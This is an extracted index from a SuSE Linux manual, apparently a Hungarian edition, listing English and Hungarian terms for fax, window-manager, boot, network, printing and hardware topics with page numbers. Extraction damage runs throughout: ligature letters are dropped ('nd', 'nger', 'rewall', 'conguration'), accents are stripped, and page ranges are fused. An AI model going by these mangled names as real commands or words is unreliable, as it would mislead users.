fax cover SuSEFax, 211 fax server HylaFAX, 216 fax cover SuSEFax, 213, 214 fax send at SuSEFax, 211 faxcover, 215 faxcover, 215 FaxCovergen.class, 215 FaxCovergen.class SuSEFax, 215 faxgetty, 217, 220, 221 faxmodem, 217 faxq, 216, 217 faxsetup, 468 fdformat, 510 fdisk, 56, 57, 74, 121, 128, 134, 135, 450452 FEATURE, 356 Feladat, 560 felhasznli account, 24 fetchnews, 204 fhs, 424 FIFO le, 217 le, 356 link, 500 le attributes, 496, 499, 501 le permissions, 470 le system FHS, 435 TeX, 435 File Transfer Protocol, 216 les, 496, 499 commands, 496 copy, 499 delete, 499 devices, 529 grepping, 500 hidden, 499, 533 rename, 499 searching, 98, 500 les not movable, 60 lesystem ReiserFS, 90 vfat, 91 lesystems assign, 76 lter apslter, 355 apslter-conguration, 357 printer lter, 353, 355 nd, 452, 500 nger, 533 ps, 35, 55, 57, 64 ps.exe, 56, 57 rewall, 197, 543 Application Level rewalls, 487 packet lter rewall, 484 Firewall (T zfal), 484 u firewals, 197 rst-time installation copying packages, 46 via hard disk, 46 oppy, 393 oppy disk drives, lsd hardware, oppy disk drives Florian La Roche, 9 fonts, 297 form fax SuSEFax, 214 create form fax list SuSEFax, 214 formatting partition, lsd partition, formatting Fortify, 69, 425 free, 504 Freecom, 63 583

Trgymutat Frequently Asked Questions, 539 frissts, 5 telepts, 19 fsck, 76 ftape, 328 FTP, 560 anonymous FTP, 426 client, 560 server, 560 ftp, 107, 533 FTP server setting up, 435 Fujitsu FMV-181/182/183/184, 400 full text search, 448 function HylaFAX, 216 function keys do not work, 81 Futsszint, 560 Future Domain, 388, 397 FvmSave, 295 Fvwm, 283, 285, 297, 299, 300 background picture setting, 296 colors, 297 setting, 297 fonts, 297 setting, 297 start, 296 fvwm, 254, 285, 294, 295, 297, 300, 534 fvwm, 294 cursor, 298 setting, 298 icons, 297 setting, 297 fvwm1, 294 Fvwm2, 283, 294, 296, 297, 299, 300 congure, 296 settings, 296 Fvwm2 , 296 fvwm2, 283, 285, 286, 294 296, 300303 fvwm2 , 294 conguration les, 295 584 general, 294 fvwm2, 294 Fvwm95, 283, 297, 299, 300 fvwm95, 285, 294, 295, 300, 302, 303 fvwm95man, 295 FvwmBanner, 296 FvwmButtons, 295 FvwmCong, 295 FvwmIdent, 298 fvwmman, 294 FvwmSaveDesk, 296 g3utils, 205 gateway, 153, 162 gateway address, 153, 155 GDI printer, 368 GDT RAID5 vezrl , lsd o ICP Vortex GEM, 561 getty, 220 Ghostscript, 102, 356, 362 GhostView, 211 GhostView, 211 Ghostview, 491 ghostview, 298 glibc, 422, 423, 450, 561 glibndev, 423 glimpse, 424 glutdemo, 281 gnadmin, 427 gnlibs, 427 gnlibsd, 423 GNOME, 4, 69, 285 compiling, 423 GNU, 4, 437, 560 GNU C/C++ fordt, 4 GNU Emacs, 6, 570 GNU zip, 501 gnuhtml, 424 gnutils, 427 Goldstar CD-ROM, 394, 403 GPL, 549 GPM, 462 gpm, 42, 255, 462, 463, 542 Grakus felhasznli fellet, 561 grep, 452, 500 group administration, 112 groups, 166 gs, 362, lsd Ghostscript gs, 102 GS_RESOL, 368 gs_x11, 211 gtkndev, 423 GUI graphical user interface, 539 gv, 211, 491 gv, 211 gxmhtml, 427 GY.I.K., 8 gzip, 47, 73 gzip, 501 Hlzat, 561 Hlzati fjlrendszer, 561 Httrfolyamat, 561 Httrtrol mdium, 562 hajlkonylemzek formzsa, 59 halt, 459 Hans Lermen, 9 Hans Reiser, 91 Harald Koenig, 9 hard drive parameters, 389 hard drive mount, lsd Mountpoint hard drives additional, 544 hardware AGP, 309 CardBus, 333 cards, 309 external modems, 324 oppy disk drives, 323 integrating, 309 internal modems, 324 IrDA, lsd IrDA ISA, 309 ISA PnP, lsd ISA PnP laptop, lsd notebook LS120 drives, 323 modems, 324

Trgymutat notebook, lsd notebook parallel port, 321 PC cards, 333 PCI, 309 plugnplay, 310 Plug-and-Play, 458 problems, 65 scanners, 326 streamers, lsd hardware, tape drives tape drives, 327 USB, lsd USB Winmodem, 324 ZIP drives, 323 Hauppauge WIN/TV, 328 hdparm, 344 help, 467, 468, 539 help system, 446 Helyettest karakterek, 562 o Hercules grakus krtyn, 103 hfaxd, 216 hibernation, 342 hidden les, 499 HiSax, 176, 179 Hivatkozs, 562 HOGYAN-ok, 8 HOME, 288, 291, 305, 564, 570 horizontal frequency, 265 host.conf, 157 alert, 158 multi, 158 nospoof, 158 order, 157 trim, 158 HOSTNAME, 162 hostname, 152 hosts, 157, 158 hotline, 520 HowTo, lsd HOGYAN-ok howto, 345 HP 10/100 VG-AnyLAN, 401 HP PCLAN, 401 HP PCLAN+, 401 htdig, 69, 448 htdig, 447 HTTP server setting up, 435 http-rman, 447, 468 httpd, 467 HylaFAX, 205, 206, 211, 216, 217, 222 hylafax, 206 hylafax, 205, 214, 215 hyperref, 422 hypertext segtsg, lsd suse segtsg i4l, 460 i4ldoc, 184 i82365, 339 i82557/i82558, 400 IBM, 3, 567 IBM OS/2, 508 IBM Thinkpad, 393 Icewm, 285 ICL EtherTeam, 401 ICN, 176 icons, 297 ICP Vortex vezrl o hiba telepts kzben, 32 id zna, lsd YaST2, id o o zna identier, 275 ifcong, 451, 464 ifport, 340 imlibdev, 423 important keys, 525 importing, 167 imwheel, 243 imwheel, 279 Indts, 562 indts a msodik CD-r l, 58 o indt lemez, 29, 121 indtlemez ltrehozsa a dd paranccsal, 59 ltrehozsa a setup programmal, 58 ltrehozsa telepts kzben, 58 indtlemez ksztse ltrehozsa a rawrite programmal, 59 index of all series and packages, 98 inetcfg, 184, 192, 193 inetd, 40, 107, 155, 163, 204, 216, 465, 484, 485, 488 Info, 437 info, 7, 540 info, 7, 437 Info (info), 437 Informix, 3, 524 Infoviewer, 7 Infra-red Data Association, lsd IrDA infra-red support, lsd IrDA init, 216, 451, 455458 scripts, 458 initial installation boot methods, 51 install loadlin, 52 setup, 50 Windows 95/98 DOS mode, 50 initial ramdisk, 437 initrd, 463 SCSI driver, 376 inittab, 455 INN, 467 Inode, 92, 562 inode density, 92, 108 Inode density, 562 insmod, 374, 375, 381 parameters, 381 Installation, 15 installation assign lesystems, 76 assign mount points, 76 automatic, 54 CD-ROM drive on parallel port, 62 CD-ROM drives with their own controller, 63 conguring partitions, 74 de-install packages, 429 DOS partition, 46 rst time installation halts, 65 585

Trgymutat format hard drive, 76 from a directory, 86 from a hard drive partition, 85 from CD-ROM, 84 FTP, 48 install packages, 429 LILO , 128 medium, 83 net, 48 NFS, 48 package, 98 PCMCIA, 341 problem description, 60 size, 94 starting via loadlin, 141 via FTP, 87 via NFS, 85 installation medium, 83 Insure++, 69 Intel EtherExpress 16, 400 Intel EtherExpressPro, 400 Intel EtherExpressPro 100, 400 Interfsz, 562 Internet, 541, 563 conguring PPP, 186 PPP as a normal user, 188 Internet Services Daemon xinetd, 465 Internet Super Server, 484 Internet Szolgltat, 563 invoke, 493 io controlled clocks, 468 IP address, 86, 153, 155, 162 IP addresses dynamic, 464 IP cm, 563 IP forwarding, 464 ipchains, 482 ipserver, 166 IPv6, 425 IPX, 224 IRC, 465 IrDA, 345 printer, 346 irda, 345 ISA cards, 309 586 ISA PnP initialize, 463 ISAPnP, 310 isapnp, 310312, 314 ISDN, 173 conguration, 175 YaST , 176 ISDN terminal adapter, 190 isdn4linux, 173 isdn4linux, 175 isdnctrl, 175 isdnlog, 179 iso-8859, 277 ISP, 563 ISP16, 395, 404 jade_dsl, 421, 428 jelsz, 24 Job, 563 job ID, 212 job parameters SuSEFax, 208 job priority SuSEFax, 209 Jogosultsg, 563 Jurix, 9 Knyvtrak, 564 Krnyezet, 564 Krnyezeti vltoz, 564 Ksznetnyilvntsok, 9 Kts, 565 Kzpontiegysg, 565 kszlet ap, 279 d, 176 doc, 183, 192, 222, 420 n, 221 sec, 197 x, 236, 421 x3d, 281 xap, 278, 280 xsrv, 236 zq1, 433 Kziknyv lapok, 564 kziknyvlapok, 7 kaland, 12 Kapcsol, 563 Kapocs, 563 kardinfo, 342 kbatmon, 344 KDE, 4, 69, 188, 283, 285, 286, 288, 420, 434, 540 KDE munkaasztal, 285 KDEDIR, 289 kdehelp, 26, 288, 289, 293 kdisplay, 293 KDM, 44, 109, 110 kdm, 26, 109, 288, 290, 291, 421 Kernel, 563 kernel, 373, 540 compiling, 373 conguration, 376 modules, 374 parameters, 381 printer driver, 412 select SMP kernel, 103 separate modules, 427 sig11, 65 sig7, 65 kernel daemon, 458 kernel daemon, 375, 463 kernel modules conguration le, 424 kernel panic, 38 kernel too big, 377 kerneld, 375, 463 kernmod, 425 kernmods, 425 keyboard CapsLock, 462 delay, 462 map, 462 NumLock, 462 repeat, 462 keymap wrong in DOSmode, 61 kfm, 288, 291, 292, 547 kfontmanager, 279 Kijells, 564 kikbd, 280 kill, 195 kill, 506 kmid, 319 Kmod, 322, 375, 376 kmod, 349 knfsd, 424

Trgymutat knfsd, 424, 466 kongurci telepts, 39 Konzol, 564 KPanel, 292, 293 Kpanel, 293 kpanel, 344 krpm, 434 Kurzor, 565 kvt, 186 kwm, 285, 288, 300 Lnc, 565 Lncszem, 565 LAN, 151, 565 LAN Manager, 223 Lance, 392 LANG, 461 language settings, 461 Lan Manager, 508 laptop, 333 latex-cover, 214 latex-cover, 214 Laza-lnc, 565 LC_*, 461 LDAP server, 467 Leafnode, 203 leafnode, 203205, 424, 425 leafnode, 203 Legf bb betlt rekord, 565 o o less, 9, 452, 471, 498, 499 libc5, 450 License, 549 LILO, 22, 23, 25, 38, 39, 45, 68, 91, 103 106, 117123, 125 140, 249, 250, 375, 378, 381, 383, 396, 397, 419, 420, 422, 437, 439, 440, 444, 456, 457, 477, 533, 566, 574 boot disk, 131 booting DOS, 135 booting DOS and OS/2, 135 booting OS/2, 134, 135 booting Windows NT, 133 DOS/boot Win 95/98, 132 installation, 128 parameters, 381 problems, 136 1024 cylinders, 137 diagnosis, 137 kernel from 2.0 onwards, 139 start messages, 137 sample congurations, 132 uninstall, 130 lilo, 117 components, 120 conguration, 122 interface, 120 introduction, 119 what is it, 120 where to install, 121 lilo.conf, 122 Link, 565 link symbolic, 500 Linus Torvalds, 3, 6, 12, 565 Linux, 215, 565, 567 start, 491 update, 417 Linux Development Platform Specication, 436 Linux Documentation Project, 447 Linux Standard Base, 435 Linux Training, 523 Linuxrc, 62, 152 linuxrc, 10, 2832, 48, 49, 53, 58, 341, 418, 438, 439, 441443, 445, 446, 450, 451 live lesystem, 108 ln, 500 LOADLIN, 5053 Loadlin, 45 loadlin, 44, 45, 52, 63, 64, 68, 117, 119, 138, 140, 141, 143, 145, 311, 383, 419, 437, 439, 443 Loadlin doesnt start, 64 LOADLIN.EXE, 51 loadlin.exe, 9, 439 local, 462 Local Area Network, lsd LAN locale, 461, 462 locate, 436, 470 log les, 471 logging in, 491, 539 logical partitions, 89 Logical Volume Manager, 93 Login remote, 471 login, lsd bejelentkezs, lsd T-Online, login, 469, 484, 539 login shell, 425 PAM, 423, 426 login:, lsd bejelentkezs Logitech, 263 Logitech Busmouse, 394 logout, 492 logsurfer, 483 logview, 427 loopback, 463 lpc, 351, 352 lpd, 353, 355, 361, 467 lpq, 351, 352 lpr, 351, 355, 491 lprm, 351, 352 lprsetup, 103, 356 ls, 496, 533 LS120 drives, lsd hardware, LS120 drives LSB, lsd Linux Standard Base lsmod, 375 lspci, 275 LUN, 385 lx_suse, 176 lynx, 7, 468 m4, 202 MacOS, 567 MacOS , 230 MAD16, 395, 404 mail server Postx, 465 mailserver, 543 main menu, 82 587

Trgymutat make bzImage, 129 make menucong, 377 make zImage, 129 makemap, 202 makewhat, 426 makewhatis, 426 man, 294 man 1 lpr, 350 man 4 initrd, 441 man 5 printcap, 350 man 8 lpd, 350 man chroot, 217 Man in the Middle attacks, 479 man lpr, 351 Man-lapok, 566 management user, 111 manpage, lsd kziknyvlapok, 503 manpages, 437 index, 426 MANPATH, 426, 564 Manul oldalak, 566 manual, 503 masquerading, 197, 543 IP forwarding, 464 Mass storage media, 566 Master Boot Record, 566 mattrib, 511 MBR, 118, lsd Master Boot Record, 566 seeMaster Boot Record, 117 mc, 433 mc, 433 mcd, 511 mcopy, 511 mdel, 511 mdir, 511 Memria, 566 memory full, 546 not recognized, 384 protect, 384 reserve, 384 memory check, 384 Men, 566 mformat, 511 588 mgetty, 205, 220, 221 mgetty, 205, 221 Microsoft, 224 Midnight Commander, 433 MIME, 566 minicom, 186, 195, 421 Miro PC/TV, 328 MIT, 235 Mitsumi CD-ROM, 394, 403 Mitsumi FX-001(D), 394, 403 mke2fs, 65 mkfontdir, 278 mkfs, 451 mknod, 529 mksusewmrc, 302 mkswap, 451 mlabel, 511 Mlvwm, 285 mmd, 511 modeline, 276 modem, 462 conguration, 101 too loud, 189 modprobe, 375, 381, 396 parameters, 381 modules, 374 compile, 378 handling, 374 loading, 443 parameters, 444 modules.conf, 424 modules.conf, 375 monitors, 264 more, 498 mount, 168, 323, 451, 509, 568 hard drive, lsd Mountpoint mountd, 169 Mounting, 567 Mountpoint, 567 mountpoint, 91 mouse, 462 Bus, 263 conguration, 101 HiTablet, 263 Logitech, 263 Logitech (MouseMan), 263 Microsoft, 263 MM series, 263 Mouse Systems, 263 PS/2, 263 mouse buttons, 264 mouse type, 263 Mozart, 395, 404 Mozart CD-ROM, 394, 404 mrd, 511 mread, 511 mren, 511 MS-Windows, 561 msdos.sys, 141 mt, 327, 328 mtools, 510 mtype, 511 Multiprocessing, 567 Multiprocessor, 567 multiprocessor system, lsd SMP Multisession CD-ROM, 394, 403 Multitasking, 567 Multiuser, 567 mv, 499 Mwm, 283, 300 mwm, 300 mwrite, 511 MySQL, 425, 469 Name Service Caching Daemon Initialize, 466 Name Service Switch, 159 nameserver, 154, 156, 158, 465 conguration, 107 NCR 5380, 388, 397 NCR 53C400, 397 NCR 53c400, 388 NCR 53c406a, 389 NCR 53C810, 382 ncurses, 426 NE1000/2000, 401 NE2000, 396 Netatalk, 230 netatalk, 230, 231

Trgymutat NetBEUI, 224 NetBIOS, 224 netgroups, 166 netmask, 153, 155, 162 Netscape, 7, 67, 69, 70, 205 netscape, 7 netstat, 451 NetWare, lsd Novell Netware, 223 Network, 567 network, 151 conguration, 155 conguration les, 156 YaST , 106 dummy device, 463 network address, 162 network base conguration, 545 network card AM7990 chipset, 401 conguration, 101 network cards, 392 3COM 3c501, 398 3COM 3c503, 398 3COM 3c505, 398 3COM 3c507, 398 3COM 3c509, 398 3COM 3c515, 398 3COM 3c579, 398 3COM 3c590, 398 3COM 3c900, 398 AT1700, 399 Cabletron, 399 D-Link DE620, 403 DE10x, 399 DE20, 399 DE203, 400 DE204, 400 DE205, 400 DE42, 399 DE425, 399 DE434, 399 DE435, 399 DE450, 399 DE500, 399 DEC EtherWORKS, 399 Digital, 399 Digital DEPCA, 399 E21xx, 399 EtherBlaster, 401 EtherTeam 16i/32, 401 EtherWORKS 3, 400 Fujitsu FMV181/182/183/184, 400 HP 10/100 VG-AnyLAN, 401 HP 27245, 401 HP 27247B, 401 HP 27252A, 401 HP 27xxx, 401 HP PCLAN, 401 HP PCLAN+, 401 IBM Token Ring, 402 ICL EtherTeam, 401 Intel EtherExpress 16, 400 Intel EtherExpress Pro 100, 400 Intel EtherExpressPro, 400 Lance, 401 Novell NE1000/2000, 401 SMC 9194, 402 SMC Ultra, 402 Token Ring, 402 WD80x3, 402 Western Digital, 402 Network File System, lsd NFS Network Information Service, lsd NIS network mask, 486 network monitor Argus, 470 network printer conguration, 108 pre-lter, 361 networks, 157 Neuhaus Triccy Data LCR, 190 News, 171 news, 203 leafnode, 203 NeXTSTEP, 285 NeXTstep, 508 NFS, 167, 567 daemon, 424 group IDs, 466 installation via, 85 Kernel NFS-Daemon, 466 server, 466 user IDs, 466 NFS client, 167 NFS server, 167, 168 nfsd, 169 nfsserv, 424 NI6510, 401 NIS, lsd YP, 166, 427 Client, 428 NIS domain, 166 NIS server, 166 nkita, 425 nkitb, 425 nn, 205 NNTP, 467 NNTP server, 465 nntpd, 467 nobody, 470 Notebook PCMCIA, 463 notebook, 333 IrDA, lsd IrDA power management, lsd APM Thinkpad, 63 notication scheme SuSEFax, 209 Novell, 224 Novell NE1000/2000, 401 Novell Server emulation, 468 nscd, 423 nsswitch.conf, 159 OLVASD.EL, 8 Olvwm, 283 olvwm, 285, 534 olwm, 534 Omnibook, 393 online manual, 495 OpenLook, 285 Opercis rendszer, 567 Operating System, 567 opso, 424 opso_smp, 424 opsod_up, 424 589

Trgymutat opsodsmp, 424 Optics Storage CD-ROM, 395, 404 Oracle, 3 Oracle 8, 69 OS, 567 OS/2, 206, 567 bootmanager, 119 Linux partcik hozzarendelse, 57 OSS, 424 package checking dependencies, 98 conguration, 94 de-installation, 429 deleting, 100 index, 98 installation, 98, 429 installing, 99 searching, 98 selection, 95 Where is xyz now?, 428 package description, 96 package format, 428 package information, 96 package installation, 96 package manager, 428 packages compile, 432 packet lter, 197 PAM, 112, 423 MD5 passwords, 112 Panasonic CD-ROM, 395, 405 paper size SuSEFax, 210 parallel port architecture-specic, 412 ATAPI CD-ROM, 413 ATAPI oppy disks, 413 ATAPI streamer drive, 413 generic ATAPI device, 413 IDE devices, 412 IDE hard drive, 413 IDE protocol driver, 412 590 kernel parameter, 396, 411 parallel port seehardware, parallel port, 321 Parancssor, 567 Paride, 412 parport subsystem, 321 partci, 55 partci cskkentse, 55 partition creating, 88 formatting, 93 swap, 70 types, 67 Partition Magic, 46 partitioning, 88, 543 experts, 69 novices, 67 partitions additional, 544 conguring, 74 extended, 89 formatting, 76 logical, 89 primary, 89 swap, 88 passwd, 166 password, 24 PATH, 6, 194, 288, 289, 483, 484, 493, 564 Path, 567 path absolute, 573 relative, 573 Patrick Volkerding, 12 PC, 567 PC cards, lsd Hardware, PC cards PCMCIA, 333, 419, 463 APM, 338 cardmgr, 334 conguration, 334 Ethernet, 335 help programs, 341 IDE, 335 installation, 341 ISDN, 335 modem, 335 problems, 339 scheme, 336 SCSI, 335 software, 334 Token Ring, 335 pcmcia, 340, 342 pep, 69 perl, 4, 470 permissions, 470, 496, 499, 501 Samba, 225 pg_datab, 427 PGP, 571 Philips CM206, 395, 404 PHP, 426 phpdoc, 426 pine, 205 ping, 481 Pipe, 567 PLIP parallel port, lsd hardware, parallel port plp, 360 plugnplay, 310 pnpdump, 310312 portmap, 40, 107 portmapper, 156, 427, 465 ports parallel, 349 Postx, 465 postx, 465 postfix, 426 postgres, 422, 427 PostgreSQL, 422, 427 PostScript template SuSEFax, 214 power management, 342 PowerPC, 567 PPP, 172 ppp default, 195 ppp-up, 193, 194 ppp.chat, 193 ppp_nt, 192 pppd, 172, 193 primary partitions, 89 print manager(lpd), 353 printcap, 354 PRINTER, 351 printer checklist, 369

Trgymutat conguration, 102 connecting to a Windows printserver, 108 daemon, 353 GDI printer, 368 kernel parameter, 396 Lexmark, 368 network printer, lsd network printer parallel port, lsd hardware, parallel port stop printing, 353 Windows only, 368 printer accounting, 360 printer driver, 412 printer drivers, seeprinter lter353 printer lter, 353, 355 apslter, 355 apslter-conguration, 357 for network printer, 361 printer operation, 349 printer queue terms, 350 printer queues in the apslter, 356 run, 350 printers overview, 349 supported, 364 printing lpd , 467 accounting, 360 kernel 2.2.x, 422 Novell NetWare, 108 Novell NetWare print servers, 108 remote, 354, 357 Samba, 108 transverse, 356 printing system, lsd spool system Pro Audio Spectrum, 385, 395 Pro Audio Spectrum 16, 395 problems during installation, 60 Proc-lesystem, 568 Process, 568 process, 561 Process(z)or, 568 Processzor, 568 processzor Cyrix 686, 38 Processzus, 568 procmail, 202 Professional Services, 522 program invoke, 493 sourcecode, 96 programming core les, 505 programs compile, 432 Prompt, 568 protect I/O address, 384 protected mode, 64 Protokoll, 569 Proxy FTP, 468 Gopher, 468 HTTP, 468 ps, 506, 568 ps, 506 pstree, 507 Puffer, 569 qmail, 200 queueing agent HylaFAX, 217, 218 Qvwm, 285 radius, 467 RAM, lsd memory, 569 RAMDAC, 266 Ramdisk Initial Ramdisk, 463 rawip, 171, 180, 183 rawip-HDLC, 180 rawrite, 59 rawrite.exe, 59 rc, 457 /etc/rc.config, 459 rc.config, 461 rcp.ugidd, 466 rdev, 125 README, lsd OLVASD.EL reboot, 384, 459, 469, 492 receive queue, 212 SuSEFax, 206 remove directory, 495 Rendszergazda, 569 rendszerindts eljrsok, 44 hajlkony lemezr l, 58 o Rendszermag, 569 rendszermag SMP rendszermag kivlasztsa, 38 rescue disk, 449 rescue system launch, 450 use, 451 Reset, 569 reset, 384 resolv.conf, 161 Restart Function, 296 RFC1861, 216 RFC959, 216 Richard Stallman, 560 Rlogin, 569 rlogin, 465, 471 rm, 499 rmail, 465 rmmod, 374 ROM, 569 Root, 569 Einloggen, remote, 471 root, 41 Root directory, 570 root partition, 384 route, 164, 451 route.conf, 164 routed, 164 router, 486 IP forwarding, 464 routing route.conf, 164 Roxen, 426 roxen, 426 roxenint, 427 roxenssl, 426 RPC mount daemon, 168 591

Trgymutat RPC NFS daemon, 168 RPC portmapper, 166, 168 rpc.mountd, 168, 465, 466 rpc.nfsd, 107, 168, 465, 466 rpc.portmap, 168 RPM, 428, 570 database, 471 RPM (rpm), 428 rpmorig, 429 rpmsave, 429 rpm, 423, 426, 427, 432 rpm, 570 Runlevel New Meaning, 428 runlevel, 456 changing, 457 rwhod, 466 rxvt, 186 rzsz, 428 Sajtgppel (My, 64 Sajtknyvtr, 570 Samba, 223, 468 permissions, 225 samba, 223 SANE, 326 Sanyo CD-ROM, 395, 404 SaX, 26, 114, 236238, 251, 255262 sax, 236 SaX2, 236241, 244251, 253, 254, 270, 272, 275, 276, 279, 280 automatic conguration, 239 manual conguration, 240 sax2, 239 sax2, 236 sax2, 236 scanner conguration, 101 scanners, lsd hardware, scanners scheme, lsd PCMCIA, scheme SCO UNIX, 508 screen resolution, 274 SCSI 592 Adaptec AHA152x/151x/1505, 397 AdvanSys, 387 AHA-152x/151x/1505, 385 AHA-154x, 386 AHA-274x, 386 AHA-284x, 386 AHA-294x, 386 AM53/79C974, 387 Future Domain, 388, 397 LUN, 385 NCR 5380, 388, 397 NCR 53C400, 397 NCR 53c400, 388 NCR 53c406a, 389 Seagate ST01/02, 389 streamer, 385 TMC-16x0, 388, 397 TMC-885/950, 388 Trantor T128/128F/228, 389 Trantor T130B, 398 Scwm, 285 SDB, 7 sdb_en, 183 Seagate ST01/02, 389 searchlist, 464 secure shell daemon, 468 Security, 475 security rewalls, 197 printing, 353 sed, 4 Segtsg kziknyvlapok, 7 segtsg, 7 knyvek, 9 selecting a kernel, 103 selecting keyboard layout, 83 selecting the language, 83 send queue, 212 SuSEFax, 206 sendfax, 205 sendfax, 205 sendmail, 108, 163, 200 203, 420, 424, 465, 489 conguration, 107 sendmail, 460 sendmail -q, 202, 465 series index, 98 searching, 98 series selection, 95 server.exe, 119 services, 524 SeSEFax, 205 set up time, 468 setserial, 320, 325 setting lesystem, 90 SETUP, 5052, 103, 356 358, 361, 362 Setup, 58 setup, 58, 59, 140, 141 SETUP.EXE, 50, 51 setup.exe, 9, 63 seyon, 186, 421 sgcheck, 326 sh, 570 share, 224 SHELL, 564 Shell, 570 shell, 484 shlibs5, 422 shutdown, 44, 451, 469, 492 Siemens, 3 Simple Network Paging Protocol, 216 SINUS Firewall I, 487 size of installation, 94 smail, 200 smarthost, 201 SMB, 223 SMC 9194, 402 SMC Ultra, 402 SMP, 570 rendszermag kivlasztsa, 38 select kernel, 103 SMTP, 200, 465 SNiFF+, 69 SNPP, 216 software free software, 560 Software AG, 3 Sony CDU31A, 395, 404 Sony CDU33A, 395, 404

Trgymutat Sony CDU535 CD-ROM, 395, 405 Sound AD1848/CS4248 Chip (MSS), 405 Creative Ensoniq 1371 chipset, 406 Crystal 423x chipsets, 406 Ensoniq 1370 chipset, 406 Generischer OPLx driver, 406 MAD16, 407 Turtle Beach Classic/Monterey/Tahiti, 407 sound, 540 AD1816 Chip, 405 Aztech Sound Galaxy, 410 Ensoniq SoundScape, 410 Gravis Ultrasound, 406 MediaTrix AudioTrix Pro, 410 MPU401, 407 OPL3, 408 OPL3-SA1, 408 OPL3-SAx, 409 Personal Sound System (ECHO ESC614), 409 Pro Audio Spectrum, 409 S3 Sonic Vibes, 410 Sound Blaster and clones, 410 Sound Blaster DSP chipsets, 411 Turtle Beach Maui and Tropez, 407 Turtle Beach Maui, Tropez, Tropez Plus, 411 Turtle Beach MultiSound, 407 Turtle Beach Pinnacle/Fiji, 408 UART401, 411 UART6850, 411 YMF71x, 409 sound card Pro Audio Spectrum, 395 Soundblaster 16, 317 source code, 543 compile, 432 sourcecode, 96 sources, 96 compile, 432 sp, 421 spindown, 344 spool system, 349 apslter, 355 control, 351 daemon, 353 lter, 353, 355 network printer, 361 parts, 350 queues, 354 spooling terms, 350 spooling mechanism SuSEFax, 207, 215 spooling system apslter printer queues, 356 apslter-conguration, 357 squid, 467 squid, 426 squid2, 426 SSH, 571 ssh, 114, 478, 489, 541, 571 SSL, 480, 571 standby, 342 StarOfce, 424, 541 Starofce, 69 start, 491 startup scripts, 162 startx, 109, 254, 295 Stefan Endrass, 12 streamer SCSI, 385 streamers, lsd hardware, streamers SUID, 481 SUN, 3 SunOS, 508 Support Commercial, 522 Professional Services, 522 Services, 522 support e-mail, 518 hotline, 520 installation, 517 phone numbers, 520 services, 524 the fastest way to get help, 518 times, 520 SuSE services, 524 SuSE, 524 suse, 288 launch rescue system, 450 SuSE, 435 SuSEcong, 41, 114, 156, 157, 166, 202, 291, 303, 336, 421, 428, 451, 461463, 466 468, 472, 533 SuSEcong, 459, 461 SuSecong, 204 SuSEFax, 206, 211, 215 susefax, 206 susefax.images SuSEFax, 206 susefax.phonebook.file SuSEFax, 206 susefax.setup.file SuSEFax, 206 susefax.setup.path SuSEFax, 206 susehelp, 183 susehilf, 222 SuSE Linux, 435 help system, 446 installation, 441 rescue system, 449 SuSEwm, 301 susewm, 110, 283, 288, 295, 296, 300303 general, 300 setting, 110 usage, 301 susewm, 300 susewm-et, 301 593

Trgymutat suspend, 342 Swap, 571 swap partition, 70, 88 creating, 76 swat, 228 sx, 428 Sybase, 3, 69 Symbolic link, 571 symbolic link, 500 Syn Flood Protection, 464 syncPPP, 180 SYSLINUX, 383 Syslinux, 58 syslinux, 439 syslog, 451 sysp, 239 system, 504 update, 417 System administrator, 571 System Commander Deluxe, 46 system conguration, 114, 461 system information, 442 system is too big, 377 system messages, 541 system properties SuSEFax, 206 system updating YaST , 100 System V, 455 szveges fjlok olvassa, 9 Szabad Szoftver Alaptvny (Free Software Foundation (FSF)), 560 Szabvny ki/be (Standard in/out), 570 Szerkeszt , 570 o Szerver, 570 Szimblikus-lnc, 571 szoftver kivlasztsa, 36 szoftver-kivlaszts els telepts, 21 o T-DSL, 192 T-ISDN-DSL, 185 T-Online login, 192 PPP, 192 594 Tbbfeladatos feldolgozs, 571 Tbbfelhasznls, 572 tbbprocesszoros rendszerek, lsd SMP Tbbrsztvev s feldolgoo zs, 572 tape drives, lsd hardware, tape drives tar, 73, 425, 437, 501 tar, 425 Task, 571 Tcl/Tk, 424 TCP wrapper, 488 tcpd, 488 tcsh, 570 telecable, 184 Telepts a nyelv kivlasztsa, 18 telepts YaST indtsa, 33 a rendszer indts belltsa, 22 alapkongurci, 39 az X belltsa, 25 bejelentkezs, 43 egr, 42 els telepts, 15 o frissts, 19 indtlemez, 58 kongurci kivlasztsa, 36 linuxrc, 29 login:, 41 merevlemez kivlaszts, 20 rendszerelemek belltsa, 26 rendszerindts, 44 rendszermag kivlasztsa, 38 szveges YaST1-gyel, 28 szoftver kivlasztsa, 36 telepts utni bejelentkezs, 26 telephone book SuSEFax, 213 Telix, 186 Telnet, 571 telnet, 107, 452, 465, 471, 484, 488, 533, 541 temporary les delete, 471 termcap, 436 Terminl, 571 terminal programs, 186 terminal window, 541 testing a PC, 446 teTeX, 422, 435 Texinfo, 437 Texinfo fjlok, lsd texinfo texpire, 203, 205 text console, 469 The XFree86 Project, 235 Thinkpad initial installation, 63 tiff, 211 TIFF Software, 211 tiffg3, 210 timezone, 461, 468 tin, 205 TIS Firewall Toolkit, 487 Titkosts, 571 Tkinfo (tkinfo), 437 tkInfo, 7 tkinfo-t, 7 TMC-16x0, 388, 397 TMC-885/950, 388 Token Ring, 402 top, 507 toppp, 192 traceroute, 425 Training, 523 Transmission Subscriber Identication, 212 Trantor T128/128F/228, 389 Trantor T130B, 398 Tripwire, 482 tripwire, 479, 482 TSI, 212, 221 ttmkfdir, 278 ttmkfdir, 278 Twm, 285 ugidd, 169 ulimit, 505 Ultrastor, 382

Trgymutat Umgebungsvariable $HOME, 291, 361 DISPLAY, 569, 573 FEATURE, 356 GS_RESOL, 368 HOME, 288, 291, 305, 564, 570 KDEDIR, 289 LANG, 461 LC_*, 461 MANPATH, 426, 564 PATH, 6, 194, 288, 289, 483, 484, 493, 564 PRINTER, 351 SHELL, 564 USER, 564 WINDOWMANAGER, 287, 288, 295 umount, 509 UMSDOS, 572 Unicode, 278 uninstall LILO , 130 Universal Serial Bus, lsd USB UNIX, 206, 215, 491, 557, 567, 570, 572 Unix98 PTY, 423 update, 417, 539 installing packages, 99 URL, 572 USB, 322 USENET, 203 USER, 564 user management, 111 user account, 24 useradd, 112 userdel, 112 users adding, 491 USRobotics, 220 UUCP, 200 vertical frequency, 264 VESA, 573 Vesa local bus, 65 VG-AnyLAN, 401 vi, 4, 452, 499, 514, 515, 534, 570 Virtulis memria, 573 virtual consoles, 495 virtual screen, 274 virtuoso, 69 Virus, 45 virus, 120, 478 viruses, 541 VLB, lsd Vesa local bus vmlinuz, 529 w, 506 Wabi, 69 WAN, 171, 573 WD80x3, 402 